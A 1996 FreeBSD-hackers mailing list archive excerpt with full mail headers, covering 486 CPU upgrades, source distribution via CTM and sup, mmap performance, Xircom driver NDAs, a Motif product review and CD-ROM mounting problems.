Losh Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk : It is, but why don't you get : yourself an AMD 5x86 instead, : which performs better than the : P5-83 and is a lot cheaper ? What is the cost and will it plug into my oldish 33MHz 486DX motherboard? Warner From owner-freebsd-hackers Thu May 16 16:16:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA14226 for hackers-outgoing; Thu, 16 May 1996 16:16:34 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id QAA14221; Thu, 16 May 1996 16:16:30 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id IAA06693; Fri, 17 May 1996 08:56:51 +0930 From: Michael Smith Message-Id: <199605162326.IAA06693@genesis.atrad.adelaide.edu.au> Subject: Re: errros on making floppies To: wilko@yedi.iaf.nl (Wilko Bulte) Date: Fri, 17 May 1996 08:56:50 +0930 (CST) Cc: jmb@freefall.freebsd.org, joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@freebsd.org, julian@ref.tfs.com In-Reply-To: <199605151919.VAA00203@yedi.iaf.nl> from "Wilko Bulte" at May 15, 96 09:19:46 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Wilko Bulte stands accused of saying: > > And along with restore a /sbin/mt is needed to do 'mt fsf' like things > on multi-dump tapes 'restore' is already capable of this. (But I agree, 'mt retension' is another good one) > Wilko -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 16 16:19:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA14667 for hackers-outgoing; Thu, 16 May 1996 16:19:50 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id QAA14662 for ; Thu, 16 May 1996 16:19:46 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Thu, 16 May 1996 18:15:59 -0600 Message-ID: Date: 16 May 1996 18:15:46 -0500 From: "Richard Wackerbarth" Subject: Standard Shipping Containers - A Proposal for Distributing FreeBSD To: "FreeBSD Hackers" Cc: "FreeBSD Current" , "freebsd-stable@freebsd.org" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I see what appears to me to be a problem in the distribution of FreeBSD sources. I also propose a solution. I welcome your discussion. Richard The Problem: There are too many different variations of the same basic information. The Product: There are, and logically should be, four different "product lines". At the moment, they are 2.1, 2.2, "current", and "cvs". Each has its purpose and I don't intend to comment on that except to note that the similarities in the first three exceed their differences. The Distribution: There are seven distribution channels upon which I will comment. 1) Direct access to the master tree. This really applies only to the cvs tree and is "the only way to go" for commiters who are well connected. 2) Using "mirror". 3) Using "mirror" with directory listing cached on the server. 4) Using "sup". 5) Using "ctm". 6) Using distribution tarballs. 7) Using the "live file system" from CD. Characteristics of the Distribution Mechanisms. a) Only (1) and (2) provide "up to the minute" copies. All the rest give only a snapshot at server defined intervals. However, they exert an extremely heavy load on the server. The remainder compromise (in a reasonable mannner) by reusing the tree scan for multiple users at the expense of a delay in the update. b) (3) and (4) are functionally similar c) (1) thru (5) offer incremental updates. The Specific Difficulty. Each distribution mechanism has its own way of getting started. If I start with a clean disk, I must obtain a very large (28M compressed for the whole source) "update" to get started. In general, I cannot use the results of another distribution in place of a large portion of that transfer. CTM is perhaps better in that with it, we can create an update to transform one tree into another. However, it is significant work to attempt to identify and create the transformations from multiple starting points. The Proposal. Since all the reasonable distribution mechanisms are based upon server initiated snapshots, I suggest that, for each product, we do the following: 1) Have a single mechanism to define the snapshots that will be delivered. Then assure that everyone delivers exactly the same "product". 2) Include with that distribution the identifier(s) which would allow a user to use that distribution as a starting place for another distribution method. (In the case of CTM, this would mean the .ctm_status file.) Suggested details. 1) Since we are running CTM for each of the products, I would start by having the CTM servers define the snapshots. The .ctm_status file would then become a part of the source tree and everyone would distribute it. In particular, it would get included on the sup servers, in the distribution tarballs, and on the live file system CD. This would allow anyone who has a copy of the tree from any of these sources to update it by applying the ctm files. 2) I would also make available the directory of sup update keys. Although the one on the CD should match that distribution, they do not have to be maintained totally up-to-date. If you use a slightly out-of-date version, sup will simply replace a few additional files. 3) In order to coordinate these events, the sup servers would trigger their updates on the basis of the receipt of a ctm update. 4) In preparing a CD-ROM, we need to either a) freeze the source tree far enough in advance of the release to allow the updates to make the update circuit, or, b) freeze the update circuit and anticipate the effect of the final update or, c) use a combination of the two. Freeze the ctm updates before the fact. Allow the sup update to propogate. for inclusion on the CD. Anticipate the ctm update by adding one to the last count propogated if there were any changes. After the CD is frozen, use it to generate the next input to the ctm sequence. Conclusions: 1) Such a methodology will assure that it is easy for any user to jump from a CD or tarball to ctm or sup without having to re-aquire the bulk of the sources. 2) Sup can be used to repair a damaged tree when a complete ctm sequence is not available locally. 3) Ctm can be used for routine updates to avoid transferring the entire file to realize a minor change. 4) We need to enhance ctm to allow it to recognize intentionally pruned trees and ignore that portion of the update. (The argument for this conclusion was not included in this document) -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Thu May 16 16:48:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA17089 for hackers-outgoing; Thu, 16 May 1996 16:48:00 -0700 (PDT) Received: from schizo.cdsnet.net (schizo.cdsnet.net [204.118.244.32]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id QAA17084 for ; Thu, 16 May 1996 16:47:58 -0700 (PDT) Received: from localhost (mrcpu@localhost) by schizo.cdsnet.net (8.7.5/8.6.12) with SMTP id QAA02224 for ; Thu, 16 May 1996 16:48:38 -0700 (PDT) X-Authentication-Warning: schizo.cdsnet.net: mrcpu owned process doing -bs Date: Thu, 16 May 1996 16:48:38 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: A MMAP observation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've been using MSQL a bit to play around with some stuff, and w/o question, *disabling* mmap() in MSQL lets the application run much faster than *with* mmap. The DB is about 20MB's, and with MMAP (on a 64MB box), it pages a fair amount, and the process gets way up there. W/o mmap, running the same queries and such, the CPU time is way up there, but hardly any paging activity. It also seems to reach a steady state much quicker, where the Wired/Cache/Buf/Free numbers hardly change. I guess w/o more empirical evidence, what it says to me is that at first run, the FreeBSD VM system is doing a darn good job, especially caching. The same app run on BSD/OS just kills it. I don't know why, but there are a few machine differences that may be coming in to play as well. Of course, if somebody would make ODBC clients for FreeBSD so I could let it talk to my NT SQL server, then I wouldn't have to mess with this at all. :) From owner-freebsd-hackers Thu May 16 16:52:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA17802 for hackers-outgoing; Thu, 16 May 1996 16:52:26 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id QAA17788 for ; Thu, 16 May 1996 16:52:21 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id JAA07066; Fri, 17 May 1996 09:31:49 +0930 From: Michael Smith Message-Id: <199605170001.JAA07066@genesis.atrad.adelaide.edu.au> Subject: Re: xircom hardware specs To: kevin@NDA.COM (Kevin Lyda) Date: Fri, 17 May 1996 09:31:49 +0930 (CST) Cc: freebsd-hackers@FreeBSD.org In-Reply-To: <199605161954.PAA17533@nda.nda.com> from "Kevin Lyda" at May 16, 96 03:54:27 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Kevin Lyda stands accused of saying: > > i'm using an nec versa 2200c laptop with a xircom ethernet+modem > pcmcia card. no drivers available. i sent email to xircom > customer support and was informed that they would release the > specs to interested developers. is anyone pursuing this? if not, > i'd like to volunteer. i'll fax them for info this evening, since > i'm eager to escape win95. (i requested this laptop for freebsd) Unless Xircom have changed their tune recently, they require NDA for driver-level documentation. This makes a FreeBSD driver problematic, unless you're willing to provide support for a binary-object-only driver. If they _have_ changed their tune, more power to them! > ps next and solaris x86 provide xircom drivers, not sure if freebsd > is kernel compat with them (probably not...) Nope. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 16 17:31:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA20032 for hackers-outgoing; Thu, 16 May 1996 17:31:55 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id RAA20024 for ; Thu, 16 May 1996 17:31:51 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id SAA25091; Thu, 16 May 1996 18:31:45 -0600 Date: Thu, 16 May 1996 18:31:45 -0600 From: Nate Williams Message-Id: <199605170031.SAA25091@rocky.sri.MT.net> To: Kevin Lyda Cc: freebsd-hackers@freebsd.org Subject: Re: xircom hardware specs In-Reply-To: <199605161954.PAA17533@nda.nda.com> References: <199605161954.PAA17533@nda.nda.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > i'm using an nec versa 2200c laptop with a xircom ethernet+modem > pcmcia card. no drivers available. Nope, because Xircom won't release the specs. w/out an NDA. > i sent email to xircom customer support and was informed that they > would release the specs to interested developers. is anyone pursuing > this? Nope, because signing an NDA means the source can't be distributed if a driver is written. > ps next and solaris x86 provide xircom drivers, not sure if freebsd > is kernel compat with them (probably not...) Nope, and NeXTStep and Solaris don't provide OS source, so signing an NDA is not a problem. Nate From owner-freebsd-hackers Thu May 16 17:32:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA20137 for hackers-outgoing; Thu, 16 May 1996 17:32:52 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA20128 for ; Thu, 16 May 1996 17:32:48 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA07575; Fri, 17 May 1996 10:10:54 +0930 From: Michael Smith Message-Id: <199605170040.KAA07575@genesis.atrad.adelaide.edu.au> Subject: Re: EDO & Memory latency To: se@zpr.uni-koeln.de (Stefan Esser) Date: Fri, 17 May 1996 10:10:53 +0930 (CST) Cc: imp@village.org, babkin@hq.icb.chel.su, hackers@FreeBSD.org In-Reply-To: <199605162133.AA29703@Sisyphos> from "Stefan Esser" at May 16, 96 11:33:34 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Stefan Esser stands accused of saying: > > On May 16, 12:57, Warner Losh wrote: > } Subject: Re: EDO & Memory latency > } This reminds me of a question that I've wanted to ask for a while. > } Does anybody know where I can find a good writeup on the various > } Pentium chip speeds and how they relate to bus speeds? > } > } I'm most interested in the P5-83 which is an upgrade to my dx2-66. It > } sounds as if it is running at 2.5x my bus speed, which is odd to say > } the least. > > It is, but why don't you get > yourself an AMD 5x86 instead, > which performs better than the > P5-83 and is a lot cheaper ? Note also that many motherboards don't correctly support the P5-83, as I learnt to my significant annoyance. What was going to be a cheap-ish upgrade became total hell. $600 later I'm wishing I'd been able to get one of the AMD parts. > Stefan Esser, Zentrum fuer Paralleles Rechnen Tel: +49 221 4706021 -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 16 17:39:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA20566 for hackers-outgoing; Thu, 16 May 1996 17:39:40 -0700 (PDT) Received: from thymaster.interaccess.com (joeg@thymaster.interaccess.com [198.80.0.36]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA20560 for ; Thu, 16 May 1996 17:39:38 -0700 (PDT) Received: (from joeg@localhost) by thymaster.interaccess.com (8.7.2/8.6.9) id TAA23988 for hackers@freebsd.org; Thu, 16 May 1996 19:35:54 -0500 (CDT) From: Joe Grosch Message-Id: <199605170035.TAA23988@thymaster.interaccess.com> Subject: X Inside Motif for FreeBSD (a review) To: hackers@freebsd.org Date: Thu, 16 May 1996 19:35:54 -0500 (CDT) Reply-To: joeg@truenorth.org X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I and a few other FreeBSD people at my current contract persuaded our boss to order Motif for FreeBSD from X Inside. (http://www.xinside.com) We got our copy today from FedEx. Motif comes on 4 floppies with an instruction sheet. The floppies contain gzipped tar files. We followed the instructions and ran tar using the recomended parameters (tar -xvzf /dev/rfd0) on each of the 4 floppies. Afterward we ran their install script. The installation took all of about 20 including the time it took us to make backup copies of the floppies. I can say that so far we are very pleased with Motif. It seems to be working out very nicely. I would recomend Motif for FreeBSD from X Inside. At US $150.00 it seems a bargin. Josef -- Josef Grosch - joeg@truenorth.org | "Laugh while you can, monkey boy." http://www.interaccess.com/users/joeg | - John Warfin - ========================================================================== Keeper of FreeBSD ported list - FreeBSD 2.1.0R http://www.interaccess.com/users/joeg/ported.html ========================================================================== From owner-freebsd-hackers Thu May 16 17:41:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA20759 for hackers-outgoing; Thu, 16 May 1996 17:41:00 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id RAA20754; Thu, 16 May 1996 17:40:56 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id SAA25150; Thu, 16 May 1996 18:40:46 -0600 Date: Thu, 16 May 1996 18:40:46 -0600 From: Nate Williams Message-Id: <199605170040.SAA25150@rocky.sri.MT.net> To: "Richard Wackerbarth" Cc: "FreeBSD Hackers" , "FreeBSD Current" , "freebsd-stable@freebsd.org" Subject: Re: Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: References: Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The Distribution: > There are seven distribution channels upon which I will comment. > 1) Direct access to the master tree. This really applies only > to the cvs tree and is "the only way to go" for commiters > who are well connected. > 2) Using "mirror". > 3) Using "mirror" with directory listing cached on the server. > 4) Using "sup". > 5) Using "ctm". > 6) Using distribution tarballs. > 7) Using the "live file system" from CD. > > Characteristics of the Distribution Mechanisms. > a) Only (1) and (2) provide "up to the minute" copies. Not true. If you have direct access to freefall (developers only), you can use (4-sup) to get "up to the minute" copies of the CVS tree. Occassionaly I re-sup the tree in the middle of the day if I want to make sure the changes I've made are valid. > The Proposal. > Since all the reasonable distribution mechanisms are based upon > server initiated snapshots Since your assumptions are invalid for one of the two most common distribution method, the rest of the proposal is not completely valid. nate From owner-freebsd-hackers Thu May 16 17:43:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA21149 for hackers-outgoing; Thu, 16 May 1996 17:43:47 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA21144 for ; Thu, 16 May 1996 17:43:44 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id SAA05730; Thu, 16 May 1996 18:42:13 -0600 (MDT) Message-Id: <199605170042.SAA05730@rover.village.org> To: Michael Smith Subject: Re: EDO & Memory latency Cc: se@zpr.uni-koeln.de (Stefan Esser), babkin@hq.icb.chel.su, hackers@FreeBSD.org In-reply-to: Your message of Fri, 17 May 1996 10:10:53 +0930 Date: Thu, 16 May 1996 18:42:12 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk : Note also that many motherboards don't correctly support the P5-83, as I : learnt to my significant annoyance. What was going to be a cheap-ish : upgrade became total hell. : : $600 later I'm wishing I'd been able to get one of the AMD parts. OK. So I should look into the AMD chip rather than the P5-83. My motherboard claims to be "Pentium Overdrive Ready" so there may not be a big problem there. However, I purchased it a long time before the Pentiums were even out, so maybe it doesn't do it well. I take it then the amd chip is pin compatbile with the 486 I have and that there will be *NO* problems in pulling one out and putting the other in? What kind of performance increase should I expect? Say on a make world and also on CPU bound things. Warner From owner-freebsd-hackers Thu May 16 17:44:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA21257 for hackers-outgoing; Thu, 16 May 1996 17:44:08 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id RAA21247 for ; Thu, 16 May 1996 17:44:05 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id SAA25179; Thu, 16 May 1996 18:44:01 -0600 Date: Thu, 16 May 1996 18:44:01 -0600 From: Nate Williams Message-Id: <199605170044.SAA25179@rocky.sri.MT.net> To: Jaye Mathisen Cc: hackers@FreeBSD.ORG Subject: Re: A MMAP observation In-Reply-To: References: Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Of course, if somebody would make ODBC clients for FreeBSD so I could let > it talk to my NT SQL server, then I wouldn't have to mess with this at > all. :) You could probably use the SCO Informix-ODBC under FreeBSD, and I'm sure the Perl ODBC module would work fine. Nate From owner-freebsd-hackers Thu May 16 17:50:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA21670 for hackers-outgoing; Thu, 16 May 1996 17:50:46 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA21665 for ; Thu, 16 May 1996 17:50:35 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA07721; Fri, 17 May 1996 10:29:50 +0930 From: Michael Smith Message-Id: <199605170059.KAA07721@genesis.atrad.adelaide.edu.au> Subject: Re: EDO & Memory latency To: imp@village.org (Warner Losh) Date: Fri, 17 May 1996 10:29:50 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, se@zpr.uni-koeln.de, babkin@hq.icb.chel.su, hackers@FreeBSD.org In-Reply-To: <199605170042.SAA05730@rover.village.org> from "Warner Losh" at May 16, 96 06:42:12 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Warner Losh stands accused of saying: > > : Note also that many motherboards don't correctly support the P5-83, as I > : learnt to my significant annoyance. What was going to be a cheap-ish > : upgrade became total hell. > : > : $600 later I'm wishing I'd been able to get one of the AMD parts. > > OK. So I should look into the AMD chip rather than the P5-83. My > motherboard claims to be "Pentium Overdrive Ready" so there may not be > a big problem there. However, I purchased it a long time before the > Pentiums were even out, so maybe it doesn't do it well. So was mine; there are jumper settings described in the manual for the P24-T and P24-D and all. And it worked really well with a DX2 in it. (This was an old Data Expert board, FWIW). I ended up replacing it with a Soyo SIS-based ISA/PCI/VLB board (so I could keep my old video card), which works very very well, but was pretty dear (~$200AUD). > I take it then the amd chip is pin compatbile with the 486 I have and > that there will be *NO* problems in pulling one out and putting the > other in? There _should_ be no problems; if your board has jumper settings described for an AMD 486DX4 or similar it should work fine. > What kind of performance increase should I expect? Say on a make > world and also on CPU bound things. Well, some numbers out of the ol' Dhrystone-2 test gave my DX2/66 about 30K, the P5-83 about 70K and the P100 here at work about 100K. This was using the same binary on unloaded systems. 'world' times are harder to compare because I went to an NCR PCI SCSI controller and a faster motherboard, sorry. > Warner -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 16 17:54:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA21863 for hackers-outgoing; Thu, 16 May 1996 17:54:45 -0700 (PDT) Received: from linus.demon.co.uk (linus.demon.co.uk [158.152.10.220]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA21858 for ; Thu, 16 May 1996 17:54:33 -0700 (PDT) Received: (from mark@localhost) by linus.demon.co.uk (8.7.5/8.7.3) id BAA04817; Fri, 17 May 1996 01:54:40 +0100 (BST) Message-Id: <199605170054.BAA04817@linus.demon.co.uk> From: mark@linus.demon.co.uk (Mark Valentine) Date: Fri, 17 May 1996 01:54:40 +0100 X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: freebsd-hackers@freebsd.org Subject: can't mount "gold" CDs written by Yamaha recorder Cc: mark@cova-tech.com Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone able to read gold CDs written by the Yamaha recorder under any version of FreeBSD? I'm not sure if it may just be CDs written by the particular software I'm using ("KPAR CDcreation" under SunOS 5.5) - it's all I have available to try. (I get the same problem with the software vendor's distribution CD, but I think that was written with their own software on another Yamaha recorder.) I can read these CDs on all my SunOS 5.5 systems (Toshiba and Plextor drives), and from DOS and Windoze 95 (random IDE drives), but under FreeBSD I get either an EINVAL on the mount (my -current box with a Toshiba SCSI drive, which can also read the CD under DOS, though it flashes its LED as if it were playing back an audio CD), or a successful mount followed by a system hang trying to do anything else, like an unmount - actually, some interrupts are still being processed (FreeBSD 2.1, both with random SCSI drive or with the same Plextor which read the CD fine under SunOS 5.5). Interestingly, Linux 1.2.13 (random IDE drive) also complains (a lot) about an unrecognised format, and fails the mount. I've tried this both with a mode 1 and mode 2 burn (ISO9660 file system with Rock Ridge extensions). By the way, are all the 00_TRANS.TBL files on the FreeBSD CDs just a convenience for systems which can't read RR? My software didn't put them on my CD, and doesn't seem have an option to do so (I presume they're generated separately). Any evidence for punting my recorder software/hardware back to the vendor and buying an HP4020i like I wanted in the first place will be gratefully received too! Cheers, Mark. -- Mark Valentine at Home From owner-freebsd-hackers Thu May 16 17:59:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id RAA22133 for hackers-outgoing; Thu, 16 May 1996 17:59:11 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id RAA22115 for ; Thu, 16 May 1996 17:58:41 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id BAA09271; Fri, 17 May 1996 01:58:07 +0100 (BST) To: Jaye Mathisen cc: hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: A MMAP observation In-reply-to: Your message of "Thu, 16 May 1996 16:48:38 PDT." Date: Fri, 17 May 1996 01:58:06 +0100 Message-ID: <9269.832294686@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen wrote in message ID : > Of course, if somebody would make ODBC clients for FreeBSD so I could let > it talk to my NT SQL server, then I wouldn't have to mess with this at > all. :) I think ``ODBC'' is another mis-nomer from the halls of Microsoft. I don't know anything ``open'' about it. I've certainly never seen any published (and freely available) specs for it (Of course, I will no doubt be corrected by Terry if I'm wrong :-) ). I'm willing to bet that you have to pay Microsoft to get the interface specs. Seems to me to be another attempt by a certain company at the game of ``World Domination''. On the otherhand, SQL is much better known and (at least for unix people) a de-facto standard with servers and clients freely available. Actually, since you have the NT SQL server, can't you just point your SQL client at it and have it work? Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Thu May 16 18:03:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA22418 for hackers-outgoing; Thu, 16 May 1996 18:03:59 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA22413 for ; Thu, 16 May 1996 18:03:57 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id SAA16222 for ; Thu, 16 May 1996 18:03:51 -0700 Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id CAA09341; Fri, 17 May 1996 02:01:53 +0100 (BST) To: Nate Williams cc: Kevin Lyda , freebsd-hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: xircom hardware specs In-reply-to: Your message of "Thu, 16 May 1996 18:31:45 MDT." <199605170031.SAA25091@rocky.sri.MT.net> Date: Fri, 17 May 1996 02:01:51 +0100 Message-ID: <9339.832294911@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Nate Williams wrote in message ID <199605170031.SAA25091@rocky.sri.MT.net>: > > i sent email to xircom customer support and was informed that they > > would release the specs to interested developers. is anyone pursuing > > this? > > Nope, because signing an NDA means the source can't be distributed if a > driver is written. Which reminds me ... the last discussion I remember being had on this topic came to the conclusion that FreeBSD people won't object to binary only drivers, just as long as they can be linked into the kernel. I suppose that's problematic with people who run -current, where the interface can change rapidly, but for -stable people there should be too many problems... I suppose we just need some nutter^H^H^H^H^H^Hvolunteer to have a private CVS tree to maintain the driver and release .o versions when appropriate. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD - Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info. From owner-freebsd-hackers Thu May 16 18:36:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA25323 for hackers-outgoing; Thu, 16 May 1996 18:36:27 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA25314 for ; Thu, 16 May 1996 18:36:23 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id SAA18419; Thu, 16 May 1996 18:32:51 -0700 From: Terry Lambert Message-Id: <199605170132.SAA18419@phaeton.artisoft.com> Subject: Re: xircom hardware specs To: nate@sri.MT.net (Nate Williams) Date: Thu, 16 May 1996 18:32:50 -0700 (MST) Cc: kevin@NDA.COM, freebsd-hackers@FreeBSD.org In-Reply-To: <199605170031.SAA25091@rocky.sri.MT.net> from "Nate Williams" at May 16, 96 06:31:45 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > i'm using an nec versa 2200c laptop with a xircom ethernet+modem > > pcmcia card. no drivers available. > > Nope, because Xircom won't release the specs. w/out an NDA. > > > i sent email to xircom customer support and was informed that they > > would release the specs to interested developers. is anyone pursuing > > this? > > Nope, because signing an NDA means the source can't be distributed if a > driver is written. Actually, the PCMCIA Xircom cards work with the PCMCIA support code, according to the last posting to comp.unix.bsd.freebsd.misc. What doesn't work is the Parallel port interfaces, and I think that's where the NDA is needed. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 18:53:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA26993 for hackers-outgoing; Thu, 16 May 1996 18:53:47 -0700 (PDT) Received: from pegasus.com (pegasus.com [140.174.243.13]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA26969; Thu, 16 May 1996 18:53:41 -0700 (PDT) Received: by pegasus.com (8.6.8/PEGASUS-2.2) id PAA20303; Thu, 16 May 1996 15:51:28 